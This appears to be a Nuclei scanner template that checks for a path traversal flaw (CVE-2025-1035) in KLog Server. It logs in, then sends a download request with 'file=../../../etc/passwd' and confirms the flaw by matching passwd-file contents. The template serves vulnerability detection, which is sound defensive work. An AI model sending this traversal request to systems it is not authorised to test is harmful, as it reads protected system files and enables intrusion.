id: CVE-2025-1035

info:
  name: KLog Server - Path Traversal
  author: s4e-io
  severity: medium
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Komtera Technolgies KLog Server allows Manipulating Web Input to File System Calls.This issue affects KLog Server: before 3.1.1.
  reference:
    - https://www.byresearchers.net/2025/02/cve-2025-1035-klog-server-31.html
    - https://www.usom.gov.tr/bildirim/tr-25-0037
    - https://www.cve.org/CVERecord?id=CVE-2025-1035
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.7
    cve-id: CVE-2025-1035
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: klogserver
    product: klog_server
  tags: cve,cve2025,klog-server,lfi

variables:
  filename: "{{to_lower(rand_text_alpha(6))}}"

http:
  - raw:
      - |
        POST /actions/entree.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pswd={{password}}&action=login

      - |
        GET /actions/download.php?action=web&file=../../../etc/passwd&name={{filename}}.zip HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body_2)"
          - 'contains_all(header_2, "application/octet-stream", "filename=")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a00473045022100ae40ef4ce51bb3b7b9007094b44028ea3bfe30bee84b15cf567bf65c69822d1d0220656d60d70470d7a90e7ecb2fc2b5a5ade155a5bf908fd04256b2ef522c035fa2:922c64590222798bb761d5b6d8e72950